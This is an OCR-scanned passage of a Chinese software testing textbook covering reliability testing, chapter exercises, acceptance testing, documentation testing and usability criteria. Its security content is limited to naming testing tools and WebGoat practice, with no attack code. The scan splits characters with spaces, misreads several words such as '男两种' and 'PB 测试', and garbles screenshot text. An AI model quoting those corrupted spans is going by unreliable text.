需要 向 读者 澄清 两 词 的 区 别 , 即 评估 与 预计 ,评估 是 对 现 有 的 情况 进行 评价 ,而 预计 往往 是 依 
据 现 有 的 情况 及 评估 结果 ,对 未 来 可 能 发 生 的 情况 进行 科学 的 推断 。 预 计 模 型 主要 有 以 下 
几 类 。 


中 面向 时 间 的 预计 模型 ,以 时 间 为 基准 ,描述 软件 可 靠 性 特征 随时 间 变 化 的 规律 。 

@ 面向 输入 数据 的 预计 模型 ,描述 软件 可 靠 性 与 输入 数据 的 联系 ,利用 程序 运行 中 的 失 
效 次 数 与 成 功 次 数 的 比 作为 软件 可 靠 性 的 度量 。 

@ 面向 错误 数 的 预计 模型 ,描述 程序 中 现存 错误 数 的 多 少 预示 程序 的 可 靠 性 。 

在 可 靠 性 测试 中 ,可 以 考虑 进行 “强化 输入 ”, 即 输入 比 正常 输入 更 恶劣 (合理 程度 的 恶劣 ) 
的 数据 。 如 果 软 件 在 强化 输入 下 可 靠 ,就 能 说 明 比 正规 输入 下 可 靠 得 多 。 同 时 为 了 获得 更 多 
的 可 靠 性 数据 ,应 该 采用 多 台 计 算 机 同时 运行 软件 ,以 增加 累计 运行 时 间 。 

2. 可 靠 性 数据 收集 


软件 可 靠 性 数据 是 可 靠 性 评估 的 基础 。 应 该 建立 软件 错误 报告 .分 析 与 纠正 措施 系统 。 
按照 相关 标准 的 要 求 , 制 定 和 实施 软件 错误 报告 及 可 靠 性 数据 收集 ,保存 ,分 析 和 处 理 的 规程 ， 
完整 ,准确 地 记录 软件 测试 阶段 的 软件 错误 报告 和 收集 可 靠 性 数据 。 

用 时 间 定 义 的 软件 可 靠 性 数据 可 以 分 为 以 下 4 类 。 

(1) 失效 时 间 数 据 , 记 录 发 生 一 次 失效 所 累积 经 历 的 时 间 。 

(2) 失效 间隔 时 间 数 据 ,记录 本 次 失效 与 上 一 次 失效 之 间 的 间隔 时 间 。 

(3) 分 组 数据 ,记录 某 个 时 间 区 内 发 生 了 多 少 次 失效 。 

(4) 分 组 时 间 内 的 累积 失效 数 ,记录 某 个 区 间 内 的 累积 失效 数 。 

这 4 类 数据 可 以 互相 转换 。 每 个 测试 记录 必须 包含 充分 的 信息 ,包括 : 

(1) 测试 时 间 。 

(2) 含有 测试 用 例 的 测试 计划 或 测试 说 明 。 

(3) 所 有 与 测试 有 关 的 测试 结果 ,包括 所 有 测试 时 发 生 的 故障 。 

(4) 参与 测试 的 个 人 身份 。 

3. 可 靠 性 测试 结果 的 评估 


软件 系统 的 可 靠 性 是 系统 最 重要 的 质量 指标 。ISO 9000 国际 质量 标准 (ISO/IEC 9126 
1991) 规 定 , 软 件 产品 的 可 靠 性 含义 是 : 在 规定 的 一 段 时 间 和 条 件 下 ,软件 能 维持 其 性 能 水 平 
的 能 力 有 关 的 一 组 属性 ,可 用 成 熟 性 ,容错 性 、 易 恢复 性 三 个 基本 子 特性 来 度量 ,其 中 容错 性 和 
易 恢 复 性 测试 在 前 面 6. 5 节 已 做 介绍 。 

成 熟 性 度量 可 以 通过 错误 发 现 率 (Defect Detection Percentage,DDP) 来 表现 。 在 测试 中 
查找 出 来 的 错误 越 多 ,实际 应 用 中 出 错 的 机 会 就 越 小 ,软件 也 就 越 成 熟 。 

DDP== 测 试 发 现 的 错误 数量 /已 知 的 全 部 错误 数量 

已 知 的 全 部 错误 数量 是 测试 已 发 现 的 错误 数量 加 上 可 能 会 发 现 的 错误 数量 之 和 。 

4. 可 靠 性 评估 报告 

测试 活动 结束 后 必须 编写 (软件 可 靠 性 测试 报告 ), 对 测试 项 及 测试 结果 在 测试 报告 中 加 
以 总 结 .归纳 。 编 写 时 可 以 参考 GJB 438A 一 1997 中 提供 的 (软件 测试 报告 格式 ,并 应 根据 情 
况 进 行 剪裁 。 测 试 报告 应 具备 下 列 内 容 。 

(1) 产品 标识 。 

(2) 使 用 的 配置 (硬件 和 软件 ) 。 

(3) 使 用 的 文档 。 

(4) 产品 说 明 、 用 户 文档 ,程序 和 数据 的 测试 结果 。 

(5) 与 需求 不 相符 项 的 列表 。 


(6) 测试 的 最 终日 期 。 
这 种 规范 化 的 过 程 管理 控制 有 利于 获得 真实 有 效 的 数据 ,为 最 终 得 到 客观 的 评估 结果 葛 
定 基 础 。 


小 结 


本 章 首先 从 系统 级 功能 测试 开始 ,逐步 深入 到 性 能 测试 .安全 性 测试 ,容错 性 测试 ,兼容 性 
测试 ,可靠 性 测试 等 ,覆盖 了 系统 测试 的 各 个 方面 。 

功能 测试 是 基本 的 ,因为 首先 要 保证 系统 的 每 个 功能 可 以 正常 工作 ,然后 才能 进行 非 功 能 
性 的 测试 ,如 性 能 测试 。 而 回归 测试 是 不 可 避免 的 ,只 要 有 需求 ,设计 或 代码 的 变动 就 要 进行 ， 
例如 ,一 旦 发 现 了 严重 缺陷 ,开发 人 员 就 要 修改 ,然后 测试 人 员 不 仅 要 验证 缺陷 ,还 有 进行 回归 
测试 。 由 于 资源 和 时 间 限 制 ,不 可 能 进行 大 规模 的 回归 测试 ,这 时 候 ,选择 正确 的 回归 测试 策 
咯 是 重要 的 。 

在 系统 的 非 功 能 性 测试 中 ,要 深刻 理解 系统 的 架构 设计 ,参与 设计 评审 ,认真 准备 测试 环 
境 ,确保 测 试 环境 非常 接近 实际 的 产品 运行 环境 。 针 对 不 同 的 应 用 系统 ,其 系统 的 非 功能 性 测 
试 侧重 点 也 不 相同 。 压 力 测试 ,容量 测试 和 性 能 测试 的 手段 和 方法 很 相似 ,有 时 可 以 交织 在 一 
起 进行 测试 。 压 力 测试 的 重点 在 于 检查 系统 是 否 有 资源 泄漏 (如 内 存 泄漏 ) 、 进 行 系统 的 稳定 
性 或 可 靠 性 的 测试 ,以 空间 换 时 间 ,在 高 负载 压力 下 可 以 减少 测试 时 间 。 容 量 测试 和 性 能 测试 
更 着 力 于 提供 性 能 指标 与 容量 方面 的 数据 ,发现 系 统 性 能 的 瓶颈 ,改进 系统 性 能 。 

在 互联 网 时 代 , 安 全 性 测试 越 来 越 受 到 业界 关注 ,除了 需要 完成 安全 性 相关 的 功能 测试 之 
外 ,还 要 检验 系统 是 否 存在 安全 弱点 或 漏洞 。 后 者 主要 通过 渗透 测试 ,模糊 测试 等 方法 来 发 现 
目前 已 知 或 未 知 的 安全 性 问题 。 容 错 性 测试 也 是 为 了 提高 系统 的 健壮 性 和 可 靠 性 ,需要 进行 
异常 数据 .异常 操作 等 方面 的 测试 ,而 兼容 性 测试 ,不 仅 要 检验 系统 之 间 的 兼容 性 问题 ,而且 还 
要 检验 数据 的 兼容 性 问题 ,后 者 更 重要 。 


1. 单元 测试 .集成 测试 与 系统 测试 的 联系 与 区 别 是 什么 ? 

2. 针对 某 个 应 用 系统 ,运用 之 前 所 学 到 的 方法 设计 十 几 条 测试 用 例 , 完 成 其 功能 测试 。 
并 切换 不 同 的 环境 ,进一步 进行 相应 的 功能 测试 。 如 果 发 现 缺陷 ,记录 下 来 。 

3. 给 定 一 个 电子 商务 网 站 ,可 以 用 到 哪些 系统 测试 类 型 ? 在 各 种 性 能 测试 类 型 中 ,如 何 
进行 并 应 该 注意 哪些 问题 ? 

4. 针对 自己 开发 的 一 个 Web 系统 ,借助 JMeter 完成 其 Web 服务 器 和 数据 库 服务 器 的 性 
能 测试 ,并 提交 完整 的 性 能 测试 报告 ,包括 性 能 测试 指标 、 负 载 模式 测试 场景 .脚本 测试 过 程 
和 测试 结果 分 析 等 。 

5. 针对 自己 开发 的 一 个 Web 系统 ,借助 两 种 安全 性 测试 工具 (如 WebScarab、Paros 等 ) 
完成 安全 性 测试 ,发 现 安全 漏洞 。 

6. 下 载 WebGoat(https://www. owasp. org/index. php/Category: OWASP_WebGoat_ 
Project) 进 行 练习 ,熟悉 各 种 常见 的 安全 性 问题 。 


CHAPTER 7 
i 
第 7 章 


验收 测试 


验收 测试 (Acceptance Test) 是 在 软件 产品 完成 了 功能 测试 和 系统 
测试 之 后 ,产品 发 布 之 前 所 进行 的 软件 测试 活动 。 它 是 技术 测试 的 最 后 
一 个 阶段 ,也 称 为 交付 测试 。 通 过 了 验收 测试 ,产品 就 会 进入 发 布 阶 段 。 
验收 测试 一 般 根据 产 品 规格 说 明 书 ,严格 检查 产品 , 逐 行 逐 字 地 对 照 说 
明 书 上 对 软件 产品 所 做 出 的 各 方面 要 求 ,确保 所 开发 的 软件 产品 符合 用 
户 预 期 的 各 项 要 求 , 即 验收 测试 是 检验 产品 和 产品 规格 说 明 书 (包括 软 
件 开 发 的 技术 合同 ) 的 一 致 性 。 同 时 ,验收 测试 ,也 可 以 称 为 现场 测试 ， 
一 般 在 实际 的 运行 环境 或 用 户 的 使 用 环境 下 进行 ,而 且 用 户 也 参与 到 验 
收 测试 过 程 中 。 通 过 验收 测试 ,也 就 是 通过 了 用 户 的 验收 ,说 明 软 件 产 
品 的 质量 达到 了 客户 的 要 求 , 测 试 项 目 到 此 告 一 段落 。 


7.1 验收 测试 过 程 


验收 测试 是 在 系统 测试 之 后 进行 ,所 以 验收 测试 的 前 提 条 件 是 系统 
或 软件 产品 已 通过 了 内 部 测试 , 即 从 软件 开发 组 织 来 看 ,所 有 要 做 的 测 
试 都 已 完成 ,所 发 现 的 严重 缺陷 都 已 修正 。 然 后 ,和 用 户 一 起 来 验收 软 
件 系统 ,在 真实 的 环境 下 运行 软件 系统 ,看 看 是 否 存在 和 用 户 要 求 不 一 
致 的 问题 ,或 违背 产品 规格 书 的 要 求 。 另 外 ,测试 人 员 不 可 能 完全 预见 
用 户 实际 使 用 程序 的 情况 ,也 就 不 可 能 发 现 所 有 的 错误 。 例 如 ,用 户 可 
能 错误 地 理解 命令 、 提 供 一 些 奇 怪 的 数据 组 合 或 可 能 对 输出 信息 迷惑 不 
解 等 。 因 此 ,软件 是 否 真正 满足 最 终 用 户 的 要 求 ,应 由 用 户 进行 一 系列 
“验收 测试 ”。 

在 产品 发 布 前 ,与 用 户 共同 完成 验收 测试 的 可 能 性 就 比较 小 ,往往 
会 转变 为 男 两 种 测试 一 一 a 测试 和 有 测试。 从 这 种 意义 上 看 ,验收 测试 
就 不 存在 ,或 者 说 ,我 们 不 得 不 将 “验收 测试 扩展 为 广义 的 概念 一 一 在 
软件 产品 完成 了 功能 测试 和 系统 测试 之 后 ,在 产品 发 布 之 前 所 进行 的 软 
件 测 试 活动 。 所 以 ,如 果 是 公司 自行 开发 的 产品 ,可 以 由 测试 人 员 和 产 
品 设计 部 门 、 市 场 部 门 等 共同 进行 ,可 能 还 包括 技术 支持 .产品 .培训 等 
部 门人 员 。 

在 敏捷 测试 流程 (如 Scrum) 中 也 有 验收 测试 ,和 传统 的 验收 测试 概 


念 也 不 一 样 ,可 以 看 作 是 全 面 的 系统 测试 或 回归 测试 ,因为 之 前 是 持续 测试 ,一 方面 主要 是 单 
元 测试 和 集成 测试 ,侧重 各 个 功能 特性 (或 用 户 故事 ) 的 测试 ,对 整个 系统 测试 不 够 ; 另 一 方 
面 ,持续 测试 比较 零碎 ,版 本 不 断 更 新 ,完成 一 点 代码 做 一 点 测试 ,需要 系统 的 回归 测试 。 

验收 测试 既 可 以 是 非 正 式 的 测试 ,也 可 以 是 有 计划 、 系 统 的 测试 。 验 收 测试 是 验证 系统 是 
否 达 到 了 用 户 需求 规格 说 明 书 (可 能 包括 项 目 或 产品 验收 准则 ) 中 的 要 求 ,试图 尽 可 能 地 发 现 
软件 中 存留 的 缺陷 ,从 而 为 软件 进一步 改善 提供 帮助 ,并 保证 系统 或 软件 产品 最 终 被 用 户 接 
受 。 验 收 测试 主要 包括 易 用 性 测试 ,兼容 性 测试 .安装 测试 .文档 (如 用 户 手册 操作 手册 等 ) 测 
试 等 几 个 方面 的 内 容 。 

1. 测试 步骤 

(1) 在 需求 分 析 阶 段 建立 测试 计划 ,了 解 软 件 功能 和 性 能 要 求 、 软 硬件 环境 要 求 等 ,并 特 
别 要 了 解 软件 的 质量 要 求 和 具体 的 验收 要 求 。 根 据 软件 需求 和 验收 要 求 编制 验收 测试 计划 ， 
制定 需 测试 的 测试 项 ,制定 测试 策略 及 验收 通过 准则 ,并 让 客户 参与 计划 评审 ,直至 通过 。 

(2) 建立 测试 环境 ,根据 验收 测试 计划 、 项 目 或 产品 验收 准则 完成 测试 用 例 的 设计 ,并 经 
过 评审 。 

(3) 准备 测试 数据 ,执行 测试 用 例 , 记 录 测 试 结果 。 

(4) 分 析 测试 结果 ,根据 验收 通过 准则 分 析 测试 结果 ,做 出 验收 是 否 通过 及 测试 评价 。 验 
收 结果 通常 会 有 以 下 4 种 情况 。 

QO 测试 项 目 通过 验收 ; 

@ 测试 项 目 没 有 通过 验收 ,但 问题 不 大 ,双方 沟通 可 以 达成 一 个 补充 协议 ,在 维护 后 期 或 
下 一 个 版 本 改进 ; 

@ 测试 项 目 没 有 通过 验收 ,并 且 不 存在 变通 方法 ,需要 很 大 的 修改 ; 

Q@ 测试 项 目 无 法 评估 或 者 无 法 给 出 完整 的 评估 结果 ,此 时 必须 找到 其 深层 次 的 原因 。 如 
果 是 该 测试 项 目 没有 说 明 清楚 ,应 该 修改 验收 测试 计划 。 

(5) 提交 测试 报告 。 根 据 产 品 设计 说 明 书 ,详细 设计 说 明 书 、 验 收 测试 结果 和 发 现 的 错误 
信息 ,评价 系统 的 设计 与 实现 ,最 终 通过 验收 测试 报告 给 予 完整 的 .详细 的 描述 。 

2. 通过 标准 

(1) 完全 执行 了 验收 测试 计划 中 的 每 个 测试 用 例 。 

(2) 在 验收 测试 中 发 现 的 错误 已 经 得 到 修改 并 且 通 过 了 测试 或 者 经 过 评估 留 到 下 一 版 本 
中 修改 。 
(3) 完成 软件 验收 测试 报告 。 

3. 注意 事项 

(1) 必须 编写 正式 的 .单独 的 验收 测试 计划 。 该 计划 中 必须 有 明确 的 验收 标准 。 通 过 验 
收 测试 的 产品 并 不 表示 它 不 存在 缺陷 。 有 时 为 了 争夺 市 场 ,允许 非 严重 性 的 缺陷 存在 ,但 是 ， 
不 能 根据 测试 结果 再 来 修改 验收 标准 。 

(2) 验收 测试 必须 在 实际 运行 环境 中 或 尽 可 能 模拟 实际 的 环境 中 进行 。 测 试 环境 与 实际 
运行 环境 的 差异 可 能 会 遗漏 少数 的 严重 缺陷 ,这 样 会 严重 影响 用 户 的 满意 度 。 例 如 ,一 个 数据 
库 查 询 系统 ,在 拥有 少量 数据 时 工作 正常 ,而 在 实际 环境 中 ,可 能 拥有 海量 的 数据 ,仅仅 简单 的 
查询 操作 就 可 能 耗费 大 量 系统 资源 ,丧失 可 用 性 。 

(3) 验收 测试 一 般 需 要 由 用 户 和 测试 部 门 共同 完成 ;如 果 不 是 用 户 委 托 的 项 目 , 而 是 软件 


公司 自行 研发 的 产品 ,就 不 会 有 用 户 参 与 测试 ,而 是 让 产品 设计 部 门 市场 部 门 ,技术 支持 等 参 
与 测试 ,或 者 让 公司 所 有 员工 参与 产品 的 试用 。 


& 测试 和 PB 测试 
a 测试 是 指 软件 开发 公司 组 织 内 部 人 员 模 拟 各 类 用 户 对 即将 面市 软件 产品 ( 称 为 a 版 
本 ) 进 行 测试 ,试图 发 现 错误 并 修正 。a 测试 的 关键 在 于 尽 可 能 逼真 地 模拟 实际 运行 环境 
和 用 户 对 软件 产品 的 操作 并 尽 最 大 努力 涵盖 所 有 可 能 的 用 户 操作 方式 。 经 过 测试 调整 
的 软件 产品 称 为 B 版 本 。 紧 随 其 后 的 B 测 试 是 指 软件 开发 公司 组 织 各 方面 的 典型 用 户 在 
日 常 工作 中 实际 使 用 B 版 本 ,并 要 求 用 户 报告 异常 情况 、 提 出 批评 意见 。 然 后 软件 开发 公 
司 再 对 B 版 本 进行 改 错 和 完善 。 


7.2 产品 规格 说 明 书 的 验证 


产品 规格 说 明 书 ,也 称 功能 规格 说 明 书 (Functional Specification) ,是 基于 需求 的 定义 , 详 
细 描 述 将 要 开发 出 一 个 什么 样 的 产品 ,包括 产品 的 用 途 、 有 哪些 功能 、 用 户 界 面 的 表现 形式 及 
其 交互 特性 等 。 它 通常 会 遵守 公司 内 部 约定 的 模板 或 其 他 要 求 ,采用 Word、PDF、Visio 或 
HTML 等 文档 格式 ,包括 文字 表格、 图 形 甚至 动画 等 内 容 。 


7.2.1 产品 规格 说 明 书 的 评审 


产品 规格 说 明 书 是 测试 的 标准 ,如 果 没 有 它 , 谁 都 不 清楚 产品 应 该 是 什么 样 , 最 终 会 是 什 
么 样 , 会 让 测试 工作 无 从 着 手 , 陷 入 无 尽 的 困难 之 中 。 产 品 说 明 书 的 特性 决定 了 对 其 复审 
(Review) 的 重要 性 。 经 验 显 示 , 充 分 的 复审 能 排除 约 60% 的 错误 ,在 产品 设计 阶段 ,发 现 需 求 
和 设计 上 大 部 分 的 缺陷 ,避免 返工 ,可 为 项 目 节省 大 量 的 成 本 。 

产品 规格 说 明 书 的 复审 不 是 验收 测试 阶段 的 主要 任务 , 它 应 该 在 整个 产品 生命 周期 的 初 
期 , 即 在 产品 规格 说 明 书 初稿 完成 后 就 开始 评审 ,在 编程 之 前 完成 评审 。 软 件 评审 方法 包括 互 
为 复审 或 称 同行 评审 (Peerto-Peer Review)、 走 查 (Walkthrough) 和 正式 会 议 审查 
(Inspection) 。 产 品 规格 说 明 书 的 评审 , 先 可 以 采用 邮件 分 发 审查 方法 ,通过 邮件 将 产品 规格 
说 明 书 分 发 下 去 ,收集 大 家 的 反馈 意见 ,进行 讨论 和 修改 。 在 后 期 ,可 以 集中 采用 会 议 评审 的 
方式 , 尽 可 能 发 现 潜在 的 工作 问题 ,阐释 各 种 疑问 ,力求 大 家 达成 一 致意 见 。 

会 议 审查 是 一 种 系统 化 严密 的 集体 评审 方法 ,其 过 程 一 般 包 含 制定 计划 、 准 备 和 组 织 会 
议 、 跟 踪 和 分 析 结 果 等 。 在 会 议 评审 过 程 中 涉及 多 个 角色 ,如 评审 组 长 作者、 评审 人 员 、 列 席 
人 员 和 会 议 记 录 人 员 等 。 在 评审 过 程 中 ,要 注意 以 下 几 点 。 

(1) 从 客户 的 角度 和 立场 进行 审核 工作 。 

(2) 检验 套用 标准 的 正确 性 ,不 要 和 行业 规范 相抵 触 。 

(3) 审查 ,研究 同类 产品 。 

(4) 验证 产品 规格 说 明 书 的 完整 性 ,准确 性 一致 性 、 合 理性 等 特性 。 


7.2.2 产品 规格 说 明 书 的 验证 


品 规格 说 明 书 的 验证 大 部 分 属 功能 性 测试 的 范畴 。 早 在 集成 测试 完成 后 .系统 测试 开 
始 前 ,就 开始 对 软件 系统 进行 功能 性 测试 。 但 早期 的 功能 性 测试 旨 在 验证 产品 说 明 书 定义 的 


功能 实现 以 保证 后 续 测 试 的 进行 ,并 尽早 地 发 现 问题 。 

在 验收 测试 阶段 ,产品 规格 说 明 书 的 验证 将 更 加 严格 、 彻 底 地 进行 。 大 多 数 情 况 下 ,测试 
人 员 并 不 能 得 到 完美 的 产品 规格 说 明 书 ,尽管 它 已 经 通过 了 审核 ,但 由 于 评审 不 够 充分 、 需 求 
的 变更 .设计 修改 等 影响 ,都 会 导致 产品 规格 说 明 书 不 得 不 做 相应 更 改 。 所 以 测试 人 员 不 仅 要 
根据 产品 说 明 书 的 每 一 个 特性 导出 测试 用 例 ,而 且 应 针对 上 述 变 动 ,及 时 更 新 测试 用 例 ,确保 
产品 规格 说 明 书 和 测试 用 例 保持 一 致 。 

测试 人 员 应 根据 产品 说 明 书 , 逐 字 逐 句 地 验证 产品 的 每 一 项 特性 ,并 在 验证 结束 时 提交 基 
于 产品 规格 说 明 书 的 验证 报告 。 该 报告 可 以 是 正式 的 ,也 可 以 是 非 正式 的 ,其 目的 在 于 能 够 在 
验收 测试 初期 进行 评判 软件 特性 是 否 都 已 实现 ,是否 可 以 进行 全 面 的 验收 测试 。 验 证 报告 的 
内 容 应 包括 所 有 特性 的 清单 。 

(1) 已 经 实现 的 特性 标识 为 通过 。 

(2) 特性 没有 实现 的 报告 缺陷 并 在 报告 中 体现 。 

(3) 特性 基本 实现 ,但 与 产品 说 明 书 中 内 容 不 相 一 致 。 报 告 缺 陷 并 在 报告 中 体现 。 

(4) 特性 基本 实现 ,但 存在 一 些 问题 或 错误 。 


7.2.3 文档 的 测试 


软件 文档 是 软件 的 重要 组 成 部 分 ,文档 的 错误 也 是 软件 缺陷 。 错 误 的 解释 可 能 会 引导 用 
户 无 法 完成 某 些 软件 已 具有 的 功能 ,例如 ,安装 文档 不 正确 ,用 户 无 法 进行 安装 ,是 一 个 很 严重 
的 缺陷 。 从 另 一 方面 看 ,用 户 通 过 文档 可 以 掌握 具体 的 使 用 方法 ,提高 了 易 用 性 ; 避免 了 用 户 
在 摸索 使 用 中 的 一 些 不 可 预期 的 操作 ,也 就 相对 避免 了 一 些 不 可 预期 的 错误 的 发 生 , 从 而 提高 
了 产品 的 可 靠 性 。 当 用 户 在 遇 到 问题 时 ,多 数 会 向 朋友 或 同事 询问 解决 方法 ,再 就 是 通过 帮助 
文档 或 请 求 公司 帮 助 。 约 30% 的 用 户 通过 文档 解决 了 问题 ,也 就 避免 了 公司 提供 费用 不 菲 的 
技术 支持 。 综 上 所 述 ,文档 测试 也 是 不 可 忽视 的 ,包括 产品 规格 说 明 书 的 验证 和 后 续 的 安装 文 
档 的 测试 。 

1. 文档 的 种 类 

(1) 联机 帮助 文档 或 用 户 手册 。 这 是 人 们 最 容易 想到 的 文档 。 用 户 手 册 是 指导 用 户 如 何 
使 用 软件 的 文档 ,可 能 是 一 本 书 , 也 可 能 仅仅 是 PDF 或 chm 格式 的 文件 。 有 时 以 联机 帮助 文 
档 的 形式 出 现 ,具有 索引 和 搜索 功能 ,用 户 可 以 方便 快捷 地 查找 所 需 信息 。Microsoft Word 
的 联机 帮助 文档 如 图 7-1 所 示 。 

(2) 指南 和 向 导 。 是 程序 和 文档 融合 在 一 起 形成 的 .可 以 引导 用 户 一 步 一 步 完成 任务 的 
一 种 工具 ,如 Microsoft Office 助手 。 

(3) 安装 、 设 置 指南 。 简 单 的 安装 文档 可 以 是 一 页 纸 ,复杂 的 指南 可 以 是 一 本 手册 。 

(4) 示例 及 模板 。 例 如 , 某 些 系统 提供 给 用 户 填写 的 表单 模板 。 

(5) 错误 提示 信息 。 常 常 被 忽略 ,但 确 属于 文档 。 举 一 个 较 特 殊 的 例子 ,服务 器 系统 运行 
时 检测 到 系统 资源 达到 临界 值 ,或 受到 攻击 ,给 管理 员 发 送 警 告 邮 件 。 

(6) 用 于 演示 的 图 像 和 声音 。 

(7) 授权 /注册 登记 表 及 用 户 许 可 协议 。 

(8) 软件 的 包装 .广告 宣传 材料 。 有 些 用 户 会 认真 对 待 ,并 很 好 地 利用 它 , 若 出 现 错误 或 
缺少 必要 的 信息 可 能 带 来 麻烦 ,甚至 标签 上 的 信息 等 均 为 文档 测试 的 内 容 。 


联机 查看 全 大 得 助 、 教 程 和 视频 [er] 
WW word 帮助 

创建 文档 注释 、 引 用 和 目录 

文本 、 列 表 和 项 目 符号 图 表 和 SmartArt 图 形 

拼写 检查 和 其 他 工具 公式 

修订 和 检查 更 改 安全 和 隐私 

打印 文档 共享 和 协作 

段落 和 页 面 布局 海量 邮件 

表格 自动 执行 任务 

文本 杠 、 形 状 和 图 片 首选 项 和 辅助 功能 

疑难 解答 和 支持 

入 门 新 功能 

Word 2011 入 门 。 陶 看 Word 2011 中 的 新 功 W 


7-1 Microsoft Word 的 联机 帮助 


2. 怎样 进行 文档 测试 

很 多 程序 员 能 编写 出 好 程序 , 却 写 不 出 清晰 的 文档 ,技术 手册 的 质量 不 够 高 ,测试 的 难度 
更 高 ,需要 事先 仔细 阅读 ,并 与 文档 作者 进行 充分 交流 ,尝试 每 个 示例 ,就 能 发 现 其 中 的 问题 。 
文档 测试 主要 检查 文档 的 正确 性 、 完 备 性 、 易 理解 性 和 一 致 性 。 

(1) 正确 性 是 指 不 要 把 软件 的 功能 和 操作 写 错 ,也 不 允许 文档 内 容 前 后 矛盾 。 测 试 描述 
功能 的 陈述 是 否 必要 ? 有 没有 多 余 信 息 ? 功能 是 否 满足 的 客户 要 求 ? 

(2) 完备 性 是 指 文档 不 可 以 * 虎 头 蛇 尾 ”, 更 不 能 漏 掉 关键 内 容 , 检 查 是 否 有 遗漏 和 丢失 的 
内 容 ? 文档 中 很 多 内 容 对 开发 者 可 能 是 “显然 ”的 ,但 对 用 户 而 言 不 见得 都 是 “显然 ”的 。 

(3) 易 理解 性 。 文 档 不 含糊 ,清晰 ,要 让 大 众 用 户 看 得 懂 , 容 易 理 解 。 例 如 ,内 容 描 述 是 否 
一 清二 楚 ? 术语 缩写 用 户 是 否 理解 ? 内 容 和 主题 是 否 一 致 ? 

(4) 一 致 性 ,产品 功能 描述 是 否 自 相 了 矛盾? 与 其 他 功能 有 没有 冲突 ? 


7.3 用 户 界面 和 可 用 性 测试 


用 于 软件 程序 交互 的 方式 称 为 用 户 界 面 (User Interface, U1)。 与 早期 的 软件 相 比 ,现在 
使 用 的 个 人 计算 机 都 有 复杂 的 图 形 用 户 界面 (Graphical User Interface,GUI) 。 虽 然 UI 各 不 
相同 ,但 其 本 质 是 相同 的 ,都 是 提供 用 户 与 计算 机 之 间 交 互 和 交流 的 桥梁 。 

许多 产品 都 应 用 人 体 工程 学 的 研究 成 果 , 使 产品 更 具 人 性 化 ,使 用 时 更 加 灵活 、 舒 适 。 软 
件 产品 也 是 一 样 ,应 以 软件 的 最 终 使 用 者 一 一 客户 为 出 发 点 。 好 的 用 户 界面 包括 7 个 要 素 : 
符合 标准 和 规范 、 直 观 性 一致 性 、 灵 活性、 舒适 性 、 正 确 性 、 实 用 性 。 

1. 符合 标准 和 规范 

在 现 有 的 平台 上 软件 都 遵守 一 定 的 标准 和 规范 ,Windows、Mac OS 等 操作 系统 都 有 自己 
的 界面 标准 ,这 些 标准 都 是 经 过 多 年 实践 的 积累 而 形成 的 ,已 经 得 到 用 户 的 接受 ,例如 ,软件 应 


该 有 什么 样 的 外 观 、 何 时 使 用 复 选 框 \ 何 时 使 用 单 选 按钮 、 何 时 使 用 提示 信息 、 警 告 信息 或 者 严 
重 警 告 信息 等 ,形成 人 们 认可 的 惯例 ,如 图 7-2 所 示 。 


Software Testing Sample Message NE?|| soft ware Testing Sample Message Ed | sortware Testing Sample Message EE | 
(DD) sma /N Be @ -ms 
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图 7-2 Windows 的 三 种 信息 使 用 的 方式 


由 于 多 数 用 户 已 经 熟悉 并 接受 了 这 些 标准 和 规范 或 已 经 认同 了 这 些 信息 所 代表 的 意义 。 
这 时 ,如 果 用 “提示 信息 ”代替 “严重 警告 ”, 很 难 引 起 用 户 的 重视 ,他 可 能 随手 关闭 ,造成 严重 后 
果 后 ,用 户 自己 可 能 还 不 知道 ,自然 得 不 到 用 户 的 认同 。 测 试 人 员 就 应 该 将 此 类 问题 报告 为 缺 
陷 。 如 果 软 件 在 某 一 个 平台 上 运行 ,如 同 产 品 规格 说 明 书 一 样 ,该 平台 的 标准 和 规范 也 应 作为 
测试 的 依据 。 如 果 正 在 测试 的 软件 本 身 就 是 一 个 软件 平台 ,那么 软件 设计 者 就 应 创立 一 套 标 
准 , 贯 穿 于 整个 软件 的 设计 开发 过 程 ,保持 软件 与 行业 标准 、 规 范 或 约定 相 一 致 。 

2. 直观 性 

考虑 用 户 界面 的 直观 性 ,首先 确定 功能 操作 界面 、 提 示 或 期 待 的 结果 是 否 直观 .显著 ,并 出 
现在 预期 的 地 方 或 时 间 。 例 如 ,执行 结果 已 经 显示 出 来 ,但 因 其 不 明显 ,客户 使 用 时 还 在 焦急 
地 等 待 结果 的 出 现 。 再 比如 ,软件 中 某 个 图 标 用 了 软件 编程 中 常用 的 术语 缩写 ,开发 人 员 和 测 
试 人 员 往 往 因为 熟悉 而 忽略 ,而 用 户 就 很 难 理解 其 含义 ,只 能 猜测 。 其 次 ,考虑 用 户 界面 的 组 
织 和 布局 是 否 合理 ,界面 是 否 洁净 ,不 拥挤 以 及 是 否 有 多 余 的 功能 ,是 否 太 复杂 难以 掌握 等 因 
素 。 有 一 个 设计 展示 网 站 (www. jaspermorrison. com) ,如 图 7-3 所 示 , 其 主 界面 非常 直观 ,各 
类 设计 的 链接 都 是 通过 直观 的 图 形 描述 ,而 且 整 个 页 面 没有 任何 多 余 的 内 容 。 

© 人 http://vry. Jasperaorrison. coa/his ex, hts # 到 
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7-3 直观 页 面 的 示例 


3. 一 致 性 
包括 软件 本 身 的 一 致 性 ,以 及 与 公司 其 他 软件 .第 三 方 软件 的 一 致 性 。 字 体 是 否 一 致 . 界 


面 的 各 元 素 风 格 是 否 一 致 是 比较 容易 判定 的 。 另 外 ,一 致 性 的 问题 通常 还 体现 在 平台 的 标准 
和 规范 上 ,用 户 习惯 于 将 某 一 程序 的 操作 方式 带 到 另 一 个 程序 中 使 用 。 例 如 ,在 Windows 平 
台 客 户 已 经 习惯 用 Ctrl 十 C 键 表示 复制 操作 ,而 在 软件 中 将 复制 操作 的 快捷 键 定义 为 其 他 键 
必定 会 给 用 户 造成 挫败 感 ,难以 接受 。 如 果 在 同一 软件 中 不 同 的 地 方 做 了 不 同 的 定义 , 那 是 一 
件 更 糟糕 的 事情 。 

4. 灵活 性 

用 户 喜 欢 可 以 灵活 选择 的 软件 ,软件 可 以 选择 不 同 的 状态 和 方式 ,完成 相应 的 功能 。 但 灵 
活性 也 可 能 发 展 为 复杂 性 , 太 多 的 状态 和 方式 的 选择 增加 的 不 仅 是 用 户 理解 和 掌握 的 困难 程 
度 。 多 种 状态 之 间 的 转换 ,增加 了 编程 的 难度 ,更 增加 了 软件 测试 人 员 的 工作 量 。 图 7-4 中 
Windows 计算 器 程序 有 两 种 方式 : 标准 型 和 科学 型 ,充分 体现 了 灵活 性 。 
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7-4 Windows 计算 器 程序 的 灵活 性 


